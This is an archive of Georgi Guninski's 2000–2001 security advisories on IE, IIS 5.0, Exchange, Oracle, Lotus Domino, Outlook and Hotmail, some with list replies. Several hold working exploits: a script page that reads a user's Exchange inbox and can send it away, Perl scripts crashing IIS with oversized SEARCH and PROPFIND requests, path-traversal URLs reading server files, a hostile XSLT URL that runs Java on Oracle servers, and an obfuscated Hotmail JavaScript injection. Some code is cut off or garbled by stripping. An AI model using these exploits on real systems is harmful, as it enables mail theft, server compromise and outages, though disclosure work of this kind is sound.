The information in this advisory is believed to be true based on experiments though it 
may be false.
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or 
program or
any derivatives thereof.


Description:
If a malicous web page is browsed with IE it is possible to list the directories of 
arbitrary IIS 5.0 servers
to which the browsing user has access. Under certain circumtances it is also possible 
to read the
user's email or folders if it is stored on an Exchange 2000 server with web storage 
(it uses IIS 5.0).
It is also possible to create (or probably modify) files on the Exchange 2000 server 
with web storage.

Details:

This is a complex problem and I am really busy to write lengthy advisory.
The probem seems to be "Microsoft OLE DB Provider for Internet Publishing" 
(MSDAIPP.DSO).
Basically it gives scripting interface for accessing and manipulating object on IIS 
5.0 or web storage.
The problem is it allows connecting to arbitrary servers, not only to the server from 
which the html page is loaded.
Which is worse, if the IIS 5.0 is in "Local intranet zone" IE by default automatically 
authenticates to it
without prompting the user.


Here is Microsoft's response to my initial report to them
(I sent them a similiar and earlier version of the example bellow)
-
From: "Microsoft Security Response Center" <[EMAIL PROTECTED]>
Hello Georgi,

Thanks for your note. We would appreciate a little more detail as to
what you think can be done with this. If at all possible please lay out
all the parameters when you do go public so you are not just scaring
people with your rankings. Not sure how you can actually exploit this
especially in e-mail in restricted sites zone with all scripting turned
off. Visiting malicious web sites is not real exploit scenario and if
the Intranet zone which is a trusted zone is locked down what can you
do?
.
-

So here is an example.

The following example msdaippdemo.html works for me, don't know for you, let me know 
if it does not work.
msdaippdemo.html may reside anywhere on the internet.
It contains two "variables" that must be changed - INTRASERVER and USERNAME.
If msdaipp.html is browsed with IE 5.x by user USERNAME (in NT DOMAIN) and INTRASERVER 
is IIS 5.0 with Exchange 2000 with web storage
(note: INTRASERVER must be a name which is in the "Local intranet zone" in the context 
of USERNAME)
then an attacker may obtain all the messages in USERNAME's inbox and send them to 
arbitrary server and in addition a
file "newlycreatedfile.html" shall be created in USERNAME's inbox.
In order the attack to succeed the attacker must know the names INTRASERVER and 
USERNAME (and change them in msdaippdemo.html)
But if the attacker is insider in the NT DOMAIN he knows both of them, so basically it
allows playing with other people's Exchange 2000 with web storage mailboxes.
If INTRASERVER is running just plain IIS 5.0 with Indexing service enabled a directory 
listing shall be obtained
if you edit the example a little - change "Data Source=http://INTRASERVER/"

--msdaippdemo.html-

Written by Georgi Guninski

function f()
{
conn=new ActiveXObject("ADODB.Connection");
conn.ConnectionString='Provider=MSDAIPP.DSO.1;Data 
Source=<A  HREF="http://INTRASERVER/exchange/USERNAME/inbox">http://INTRASERVER/exchange/USERNAME/inbox</A>';
//change INTRASERVER and USERNAME with real values
rec=new ActiveXObject("ADODB.Record");
conn.Open();
rs=new ActiveXObject("ADODB.Recordset");
rs.Open("SELECT * from SCOPE()",conn);
win=window.open("about:blank");
win.document.open();
// DISPLAYS ALL MESSAGES FROM USER'S INBOX
while (!rs.EOF)
{
for(i=0;i<rs.Fields.Count;i++)
 {
 win.document.writeln(rs.Fields(i).Name+"="+rs.Fields(i).Value+"<BR>");

IIS 5.0 SEARCH method overflow

2001-03-16 Thread Georgi Guninski


Georgi Guninski security advisory #39, 2001

IIS 5.0 SEARCH method overflow

Systems affected:
IIS 5.0

Risk: Unknown, may be very serious
Date: 16 March 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or 
program or
any derivatives thereof.


Description:

This may be a duplicate of my advisory #38 - http://www.guninski.com/iispropover.html
sorry if this is the case.
Microsoft did not answer my question whether it is the same issue.
By sending valid (not malformed :) ) but long SEARCH request to IIS 5.0 it is possible 
to
restart all IIS related services.

The interesting point is the stack seems to be smashed and I believe this may lead
to executing arbitrary code though I have not achieved it.


Details:
--vv6.pl-
#!/usr/bin/perl
use IO::Socket;
printf "IIS 5.0 SEARCH\nWritten by Georgi Guninski wait some time\n";
if(@ARGV < 2) { die "\nUsage: IIS5host port \n"; }
$port = @ARGV[1];
$host = @ARGV[0];
sub vv()
{
$ll=$_[0]; #length of buffer
$ch=$_[1];
$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || 
return;
$over=$ch x $ll; #string to overflow
$xml='SELECT 
DAV:displayname from SCOPE("'.$over.'")'."\n";
$l=length($xml);
$req="SEARCH / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: 
$l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,3000);
print "r=".$res;
close $socket;
}
do  vv(126000,"V");
sleep(1);
do  vv(126000,"V");
#Try 125000 - 128000
---

Workaround: some of the revisions of MS01-16 solves this issue, yet I do not recommend 
using IIS in production environment.

Vendor status:
Microsoft was informed on 11 March 2001

Regards,
Georgi Guninski
http://www.guninski.com

IIS 5.0 PROPFIND DOS

2001-03-08 Thread Georgi Guninski


Georgi Guninski security advisory #38, 2001

IIS 5.0 PROPFIND DOS

Systems affected:
IIS 5.0

Risk: Medium but may turn more serious
Date: 8 March 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or 
program or
any derivatives thereof.


Description:

It is possible to remotely restart all IIS related service using specially crafted 
request.
It is also possible to force IIS to consume memory which it does not free.
Seems to be a buffer overflow, don't know whether it is exploitable, let me know if 
you find
a way to exploit it.



Details:

Basically the problem are very long but valid propfind request.
For example the following PROPFIND request works for me:
-



-
where length($over) ~ 128008
The first time the request is send IIS replies with 500 ... Exception. The second time 
the services are
restarted.




--vv5.pl-
#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;

print "IIS 5.0 propfind\n";

$port = @ARGV[1];
$host = @ARGV[0];


sub vv()
{

$ll=$_[0]; #length of buffer
$ch=$_[1];
$over=$ch x $ll; #string to overflow

$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || 
return;
#$xml=''."".''."\n\n";
#  This is another issue and also works with length ~>65000


$xml=''."".''."\n\n";
$l=length($xml);
$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: 
$l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,300);
#print "r=".$res;
close $socket;
}


do vv(128008,"V"); # may need to change the length
sleep(1);
do vv(128008,"V");
print "Done.\n";
---

Demonstration:


Workoround: Disable WebDav extensions and PROPFIND though I do not recommend using IIS 
on the Internet.


Vendor status:
Microsoft was informed on 3 March 2001



Happy 8 March to the women.

Regards,
Georgi Guninski
http://www.guninski.com

Windows client UDP exhaustion denial of service

2001-02-06 Thread Georgi Guninski


Georgi Guninski security advisory #37, 2001

Windows client UDP exhaustion denial of service

Systems affected:
Windows 2000 Prof, Windows 98 probably other Windowses

Risk: Low
Date: 6 February 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or 
program or
any derivatives thereof.


Description:
It is possible a web page or email message to consume all the usable client UDP 
sockets on the
computer running Windows. This leads to stopping client DNS resolution on Windows 2000 
professional
and stopping all new TCP connections on Windows 98. After closing the malicous 
application normal
function of the system is restored though several machines spontaneously rebooted.
It is interesting to note that Linux is not affected to this vulnerability as far as I 
tested.


Details:
This exploit uses java. The idea is quite simple - create as much UDP sockets 
(java.net.DatagramSocket)
as possible. Other processes are prevented from creating new UDP sockets.
The java code is:
---
for(i=0;ihttp://www.guninski.com/winudpdos.html

Vendor status:
Microsoft was informed on 2 February 2001.

Regards,
Georgi Guninski
http://www.guninski.com

Oracle JSP/SQLJSP handlers allow viewing files and executing JSP outside the web root

2001-01-22 Thread Georgi Guninski


Georgi Guninski security advisory #36, 2001

Oracle JSP/SQLJSP handlers allow viewing files and executing JSP outside the web root

Systems affected:
Oracle JSP/SQLJSP handlers, installed by default Oracle 8.1.7 Windows 2000
Have not tested on other versions but they may be vulnerable

Risk: High
Date: 22 January 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or 
program or
any derivatives thereof.


Description:
It is possible to view files outside the web root.
Also possible is execution of .JSP files outside the web root in the same partiotion as
the web server's root.


Details:
I guess there are at least 2 vulnerabilities with JSP/SQLJSP handlers.
Basically these are directory traversal vulnerabilities.
1) The following URL:
---
http://oraclehost/servlet//..//../o.jsp
---
will execute c:\o.jsp if there is such file.
As a side effect this shall create the directory C:\servlet\_pages\_servlet and shall 
put
in it the java source and .class file of o.jsp

2) The following URL:
-
http://oraclehost/a.jsp//..//..//..//..//..//../winnt/win.ini
-
shall read c:\winnt\win.ini. It is normal to receive an error to this request. To see 
the result
go to: http://oraclehost/_pages and look in the directories for .java files containing 
"win"

3) The following URL:
-
http://oraclehost/bb.sqljsp//..//..//..//..//..//../winnt/win.ini
-
shall read c:\winnt\win.ini. It is normal to receive an error to this request. To see 
the result
go to: http://oraclehost/_pages and look in the directories for .java files containing 
"win"

Note: all urls were tested with Netscape 4.76 or direct HTTP requests. Do not work 
with IE.


Vendor status:
Oracle was contacted on 18 January 2001.

Regards,
Georgi Guninski
http://www.guninski.com

Windows Media Player 7 and IE java vulnerability - executing arbitrary programs

2001-01-15 Thread Georgi Guninski


Georgi Guninski security advisory #35, 2001

Windows Media Player 7 and IE java vulnerability - executing arbitrary programs

Systems affected:
Windows Media Player 7 and IE

Risk: High
Date: 15 January 2001

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or 
program or
any derivatives thereof.

Description:

There is a security vulnerability in Windows Media Player 7 exploitable thru IE and 
java
which allows reading local files and browsing directories which in turn allows 
executing
arbitratrary programs. This may lead to taking full control over user's computer.

Details:
The problem is WMP skins are installed in a known directory and with a known name:
"C:/Program files/Windows Media Player/Skins/SKIN.WMZ" : 
will download wmp2.wmz and place it in "C:/Program files/Windows Media 
Player/Skins/wmp2.wmz".
wmp2.wmz may be a java jar archive. The following applet tag:
--



---
will be executed with codebase="file://c:/" and the applet will have read only access 
to C:\.


The code is:
wmp7-3.html--


function f()
{
window.open("wmp7-3a.html");
}
setTimeout("f()",4000);

-

--wmp7-3a.html---



-

Workaround:
Disable Java.

Demonstration is available at:
http://www.guninski.com/wmp7-3.html

Vendor status:
Microsoft was contacted on 11 January 2001.

Regards,
Georgi Guninski
http://www.guninski.com

Re: Lotus Domino 5.0.5 Web Server vulnerability WORK AROUNDS

2001-01-10 Thread Georgi Guninski


"Dyson, Thom" wrote:
>
> These came to me from the Notes Admin List.
>
> ---Solution 1-
> I don't the original author of this fix, so I can't give proper credit.
>
> Add a File Protection Document in your PAB/DD:
>
> Path: /.box/../
>
> Access Control: -Default- - No Access
>
> Repeat this for .ns4 and .nsf (.ns3 and .ntf are not affected).
>
> Once you do this, do "tell http restart" or bounce your server.
>

This workaround does not always work.
Try
---
http://TARGETDOMINO/.nsf/AAA/../../FILE
---

Georgi Guninski

Oracle XSQL servlet and xml-stylesheet allow executing java on the web server

2001-01-09 Thread Georgi Guninski


Georgi Guninski security advisory #34, 2001

Oracle XSQL servlet and xml-stylesheet allow executing java on the web server

Systems affected:
Oracle XSQL servlet, installed by default Oracle 8.1.7 Windows 2000installation,
probably other versions/platforms are affected because the servlet is written in java

Risk: High
Date: 9 January 2001

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or 
program or
any derivatives thereof.


Description:
To get an idea for the XSQL servlet I suggest reading:
http://technet.oracle.com/tech/xml/xsql_servlet/htdocs/relnotes.htm
The XSQL servlet allows specifying external xslt stylesheets which may reside anywhere.
The problem is it is possible to execute java on the web server in the xslt stylesheet.
Executing java on the web server may lead to compromising it.

Details:

Oracle allows extensions to the built in xslt functions using the xmlns
"http://www.oracle.com/XSL/Transform/java/".
Using this namespace it is possible to instantiate java objects and execute their 
methods.

Sample xslt stylesheets:
--ora.xsl---string function, almost no effect---

http://www.w3.org/1999/XSL/Transform" 
xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.lang.String" version="1.0">



Written by http://www.guninski.com">Georgi Guninski


Java demo.








--ora2.xslcreates a file ---

http://www.w3.org/1999/XSL/Transform" 
xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.io.File" version="1.0">



Written by http://www.guninski.com">Georgi Guninski


File "c:\winnt\georgigjava" created=






---

Assuming that http://XSQL-SERVER/EXISTING.xsql exists and is configured (there are 
installed
.xsql demos in /xsql/java/demo/), the following URL:
--
http://XSQL-SERVER/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl
--
will execute java from http://HOSTILE/ora.xsl (see example stylesheets above) on 
XSQL-SERVER.

This work on default Oracle 8.1.7 install, I only needed to adjust the database name in
the servlet config file.

Workaround:
Add 'allow-client-style="no"' on the document element of every xsql page.
I think this should be the default behavior.

Vendor status:
Oracle was contacted on 4 January 2001.
They responded very promptly and shall issue a patch "over the next few days".

Regards,
Georgi Guninski
http://www.guninski.com

Re: Lotus Domino 5.0.5 Web Server vulnerability - reading filesoutside the web root

2001-01-08 Thread Georgi Guninski


Lotus wrote to me they have been able to reproduce the vulnerability and shall fix it 
in
an upcomming release.

Georgi Guninski

Ben Greenbaum wrote:
>
> Summary of responses:
>
> ---
> From: [EMAIL PROTECTED]
>
> I just tested this on our Domino 5.0.5 boxes running on Windows NT 4.0 (service
> pack 6a) and it did not work. Here is the error message I got:
>
> Error 0
>
> Forbidden - URL containing .. forbidden [don't try to break in]
>
> ---
> From: "Cristi Dumitrescu" <[EMAIL PROTECTED]>
>
> Tried on a Windows NT 4 machine with the same version of Domino and it does
> not work.
> Telnet session transcript:
> GET .nsf/../winnt/win.ini HTTP/1.0
>
> HTTP/1.1 404 Not found - file doesn't exist or is read protected [even tried
> multi]
>
> GET .nsf/../../winnt/win.ini HTTP/1.0
>
> HTTP/1.1 500 Forbidden - URL containing .. forbidden [don't try to break in]
>
> ---
> From: <[EMAIL PROTECTED]>
>
> A few quick followups
>
>  1/ this vulnerability is also confirmed on Domino 5.0 (original
> release)
>  2/ this vulnerability is also confirmed on NT4
>  3/ it appears that this vulnerability does NOT affect Domino 5.0.5 on
> Linux
>
> ---
> From: John Cardona <[EMAIL PROTECTED]>
>
> I test Lotus Dominio 5.0 Under NT4.0 Service Pack 6a and it has the same
> vulnerability.
>
> ---
> From: [EMAIL PROTECTED]
>
> Could not reproduce on Domino 5.0.5 nor 5.0.4 under Windows NT 4 (SP 5 or
> 6a - don't know for sure).
>
> -
> http://TARGETDOMINO/.nsf/../winnt/win.ini
> -
>
> Gives a 404 error
>
> -
> http://TARGETDOMINO/../winnt/win.ini
> -
>
> Gives a "Error 0 Forbidden - URL containing .. forbidden [don't try to
> break in]"
>
> Might be a result configuration options in either Domino or NT.  Servers
> checked have "Allow HTTP clients to browse databases:" set to NO.
>
> As an aside, I object to announcing such a potentially damaging
> vulnerability only 48 hours after the vendor was contacted.
>
> Thom Dyson
> Director of Information Services
> Sybex, Inc.
>
> ---
> From: "Philip Wagenaar" <[EMAIL PROTECTED]>
>
> I have tried the exploit on several Lotus Domoni 5.0.5 web servers but I
> wasnt able to reproduce the problem
>
> ---
> From: [EMAIL PROTECTED]
>
> NT 4 (german) SP5 is vulnerable too, but Dominos below 5.0.4 doesn`t seem
> to have this malfunction.
>
> it was possible to get any file instead of NSFs, any suggestions why? could
> it be possible to change the partition?
>
> ---
>
> Ben Greenbaum
> Director of Site Content
> SecurityFocus
> http://www.securityfocus.com

IIS 5.0 allows viewing files using %3F+.htr

2001-01-08 Thread Georgi Guninski


Georgi Guninski security advisory #33, 2001

IIS 5.0 allows viewing files using %3F+.htr

Systems affected:
IIS 5.0 patched against the file fragment reading vulnerability

Risk: Medium
Date: 8 January 2001

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or 
program or
any derivatives thereof.


Description:

IIS 5.0 allows viewing most types of CGI files if a special request is performed.

Details:
The following URL:

http://TARGETIIS/scripts/test.pl%3F+.htr

reveals the content of /scrips/test.pl instead of executing it.
This may giveway passwords in CGI and other stuff.
If you are not patched the following may work (not discovered by me):
http://TARGETIIS/scripts/test.pl+.htr
This does not work for some types of .ASP if they contain certain characters.


Vendor status:
Microsoft was contacted on 4 January 2001.

Regards,
Georgi Guninski
http://www.guninski.com

Re: IE 5 security vulnerablity - circumventing Cross-framesecurity policy using Java/JavaScript (and disabling ActiveScripting is not that easy)

2000-04-24 Thread Georgi Guninski

I made a mistake in my Advisory #10 - Scripting of Java applets does not
stop neither a little modification of my exploit nor execution of Active
Scripting if it is disabled.
Before writing my advisory I tested one time an exploit with Scripitng
of Java Applets disabled and it did stop the exploit - obviously I have
made a mistake and missed something or there is some strange timing
issue with Internet Explorer. Now the same exploit works fine.
Thanks to Mr. TAKAGI for letting me know.
So the only solution to stop the exploit and execution of Active
Scripting is to disable Java.

"TAKAGI, Hiromitsu" wrote:
>
> > Note: This is NOT a bug in the Java language, this is a bug in
> > Microsoft's implementation of Java in IE.
>
> It is not a bug in implementation of "Java". The class JSObject that
> is the magic code of the vulnerability is not included in the
> standard Java API and is included in the package netscape.javascript
> that is an extension library provided by Netscape or Microsoft. So,
> it sounds better to say, "This is NOT a bug of Java, this is a bug
> in Microsoft's implementation of the extension Java package for
> JavaScript".
>

I am not a Java expert and shall not argue about that. Hope the readers
understand my point.

> > If you have Java enabled and Scripting of Java applets enabled, Active
>^^
> > Scripting may be executed.
>
> > So, to really disable Active Scripting disable Active Scripting and
> > disable Java and/or Scripting of Java applets.
>^^
> > Workaround: Disable Java or disable Scripting of Java applets
>
> Disabling "Scripting of Java applets" seems to have no relation with the
> vulnerability. Your exploit code can be refined as the following code
> which does not use the function "Scripting of Java applets". This
> modified version of Guninski's demo is available here.
> http://java-house.etl.go.jp/~takagi/java/test/Guninski-jsinject-modified/
> I confirmed that it is still vulnerable under disabling "Scripting of
> Java applets".
>

This is correct.

Regards,
Georgi Guninski

Hotmail security hole - injecting JavaScript in IE using "@import url(http://host/hostile.css)"

2000-04-24 Thread Georgi Guninski


Georgi Guninski security advisory #11, 2000

Hotmail security hole - injecting JavaScript in IE using "@import
url(http://host/hostile.css)"

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
Hotmail allows executing JavaScript code in email messages using
"@import url(http://host/hostile.css)",
which may compromise user's Hotmail mailbox when viewed with Internet
Explorer.

Details:
Several months ago in my Advisory #3, 2000 I alerted about a Hotmail bug
with "@import url(javascript:...)".
It was fixed, but now I found a similar bug.
There is a new security flaw in Hotmail which allows injecting and
executing
JavaScript code in an email message using the the  tag, @import
and the "javascript:" protocol.
This exploit works on Internet Explorer.
Hotmail tries to filter JavaScript code for security reasons.
Executing JavaScript when the user opens Hotmail email message allows
for example
displaying a fake login screen where the user enters his password which
is then stolen.
I don't want to make a scary demonstration, but it is also possible to
read user's
messages, to send messages from user's name and doing other mischief.
It is also possible to get the cookie from Hotmail, which is dangerous.
Hotmail deliberately escapes all JavaScript (it can escape) to prevent
such attacks, but obviously there are holes.

The following JavaScript is executed if embedded in a HTML message:
---
<STYLE type=text/css>
@import url(<A  HREF="http://www.nat.bg/~joro/test.css">http://www.nat.bg/~joro/test.css</A>);

---
where http://www.nat.bg/~joro/test.css contains:
---
@import url(javascript:alert('JavaScript is executed'));
@import
url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
---


Workaround: Disable Active Scripting before viewing a Hotmail message or
don't use IE

NOTE: Do not ask me to crack Hotmail accounts, I do not do that.

Copyright 2000 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro

IE 5 security vulnerablity - circumventing Cross-frame security policy using Java/JavaScript (and disabling Active Scripting is not that easy)

2000-04-19 Thread Georgi Guninski


Georgi Guninski security advisory #10, 2000

IE 5 security vulnerablity - circumventing Cross-frame security policy
using Java/JavaScript (and disabling Active Scripting is not that easy)

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
Internet Explorer 5.01 under Windows 98 (suppose all other versions are
also vulnerable)
allows circumventing "Cross frame security policy" by accessing the DOM
of documents using Java/JavaScript.
This exposes the whole DOM of the target document and opens lots of
security risks.
This allows reading local files, reading files from any host, window
spoofing, getting cookies, etc.

Details:
Note: This is NOT a bug in the Java language, this is a bug in
Microsoft's implementation of Java in IE.
Usually, IE 5.x does not allow assigning "javascript:" urls to the
location object because this is dangerous.
But this may be circumvented with the help of the interaction between
Java and the DOM/JavaScript.
The Java JSObject allows setting DOM properties from Java and allows
setting a hostile javascript url
to IFRAME's location. This leads to circumventing cross-frame security
policy.

Another issue is that choosing the option "Disable Active Scripting"
from the security menu does not always disable Active Scripting.
If you have Java enabled and Scripting of Java applets enabled, Active
Scripting may be executed.
The problem seems to be the fact that IE always executes Active
Scripting in "My Computer" zone and with Java one may inject javascript:
URLs in IFRAMEs in "My Computer" zone.
So, to really disable Active Scripting disable Active Scripting and
disable Java and/or Scripting of Java applets.

The code is:
--jsinject.html




Read the file
---

--jsinject.java
import java.applet.Applet;
import netscape.javascript.*;

public class jsinject extends Applet {

public void doit()
{
  try
   {
JSObject win = (JSObject) JSObject.getWindow(this);
JSObject doc = (JSObject) win.getMember("document");
JSObject I1 =  (JSObject) doc.getMember("I1");
JSObject loc = (JSObject) I1.getMember("location");
loc.setMember("href",getParameter("jscode"));
   }
catch(Exception x){System.out.println(x.toString());}
}
}
---



Demonstration is available at: http://www.nat.bg/~joro/jsinject.html

Workaround: Disable Java or disable Scripting of Java applets

Copyright 2000 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro

Re: IE and Outlook 5.x allow executing arbitrary programs using.eml files

2000-03-20 Thread Georgi Guninski


David LeBlanc wrote:
>
> There's a couple of things that aren't clear here -
>
> >IE and Outlook 5.x allow executing arbitrary programs using .eml files
>
> >Description:
> >There is a vulnerability in IE and Outlook 5.x for Win9x/WinNT (probably
> >others) which allows executing arbitrary programs using .eml files.
>
> Would this happen to apply to other web browsers, e.g., Netscape?
>

Netscape Communicator is not affected, don't know for other browsers.

> >Details:
> >The problem is creating files in the TEMP directory with known name and
> >arbitrary content.
>
> How does the file get there?  Do all .eml files create temp files?  I
> assume another work-around would be to have a user-specific temp directory,
> such as Windows 2000 uses.
>

The file is created by IE or some of its components. AFAIK not all .eml
files create temp files.
User specific temp directory is better than the default one.

IE and Outlook 5.x allow executing arbitrary programs using .eml files

2000-03-14 Thread Georgi Guninski


Georgi Guninski security advisory #9, 2000

IE and Outlook 5.x allow executing arbitrary programs using .eml files

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
There is a vulnerability in IE and Outlook 5.x for Win9x/WinNT (probably
others) which allows executing arbitrary programs using .eml files.
This may be exploited when browsing web pages or openining an email
message in Outlook.
This may lead to taking control over user's computer.
It is also possible to read and send local files.

Details:
The problem is creating files in the TEMP directory with known name and
arbitrary content.
One may place a .chm file in the TEMP directory which contains the
"shortcut" command and when the .chm file is opened with the showHelp()
method programs may be executed.
This vulnerability may be exploited by HTML email message in Outlook.

The code that must be included in a .eml file is:
---

cid:000701bf8458$eb570380$dc0732d4@bbb">

setTimeout('window.showHelp("c:/windows/temp/abcde.chm");',1000);
setTimeout('window.showHelp("c:/temp/abcde.chm");',1000);

.
--=_NextPart_000_0008_01BF8469.AEE8FB40
Content-Type: application/binary;
name="abcde.chm"
Content-Transfer-Encoding: base64
Content-ID: <000701bf8458$eb570380$dc0732d4@bbb>

...Put the base64 encoded .chm file here...
--=_NextPart_000_0008_01BF8469.AEE8FB40--
---

Demonstration which starts Wordpad:
http://www.nat.bg/~joro/eml.html

Workaround: Disable Active Scripting.

Copyright 2000 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro

IE 5.x allows executing arbitrary programs using .chm files

2000-03-01 Thread Georgi Guninski


Georgi Guninski security advisory #8, 2000

IE 5.x allows executing arbitrary programs using .chm files

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
There is a vulnerability in IE 5.x for Win95/WinNT (probably others)
which allows executing arbitrary programs using .chm files. Microsoft
Networking must be installed.

Details:
The problem is the window.showHelp() method which opens .chm files. IE
disallows opening .chm files with the http protocol, but allows opening
if the .chm file resides on MS networking server or a local drive.
In this case the .chm file is opened even if it is on a remote host. In
turn .chm files may execute arbitrary programs using the "shortcut"
command.

Demonstration which starts Wordpad: http://www.nat.bg/~joro/chm3.html

Workaround: Disable Active Scripting.

Copyright Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro

Wordpad vulnerability, exploitable also in IE for Win9x

2000-02-23 Thread Georgi Guninski


Georgi Guninski security advisory #7, 2000

Wordpad vulnerability, exploitable also in IE for Win9x

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
There is a vulnerability in Wordpad which allows executing arbitrary
programs without warning the user after activating an embedded or linked
object. This may be also exploited in IE for Win9x.

Details:
Wordpad executes programs embeded in .doc or .rtf documents without any
warning if the object is activated by doubleclick.
This may be exploited in IE for Win9x using the view-source: protocol.
The view-source: protocol starts Notepad, but if the file is large, then
the user is asked to use Wordpad. So creating a large .rtf document and
creating a HTML view-source: link to it in a HTML page or HTML based
email message will prompt the user to use Wordpad and a program may be
executed if the user doubleclicks on an object in the opened document.

Demonstration which starts AUTOEXEC.BAT:
http://www.whitehats.com/guninski/wordpad1.html
Workaround: Do not activate objects in Wordpad documents

Copyright Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro

Outlook Express 5 vulnerability - Active Scripting may read email messages

2000-02-01 Thread Georgi Guninski


Georgi Guninski security advisory #6, 2000

Outlook Express 5 vulnerability - Active Scripting may read email
messages

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
Outlook Express 5.01 and Internet Explorer 5.01 under Windows 95
(suppose other versions are also vulnerable)
allow reading subsequently opened email messages after a hostile message
is opened.

Details:
The problem is assigning the document object of the email message to a
variable in a newly opened window.
Thru this variable access is possible to open email messages.


The code that must be included in HTML message is :
-

a=window.open("about:<A HREF='javascript:alert(x.body.innerText)' >Click
here to see the active message</A>");
a.x=window.document;

-


Workaround: Disable Active Scripting

Regards,
Georgi Guninski
http://www.nat.bg/~joro

Re: IIS still revealing paths for web directories

2000-01-13 Thread Georgi Guninski

Vanja Hrustic wrote:
>
> This has been mentioned before, but it's probably good to remind
> Microsoft about some outstanding issues.
>
> Request : http://www.microsoft.com/anything.ida
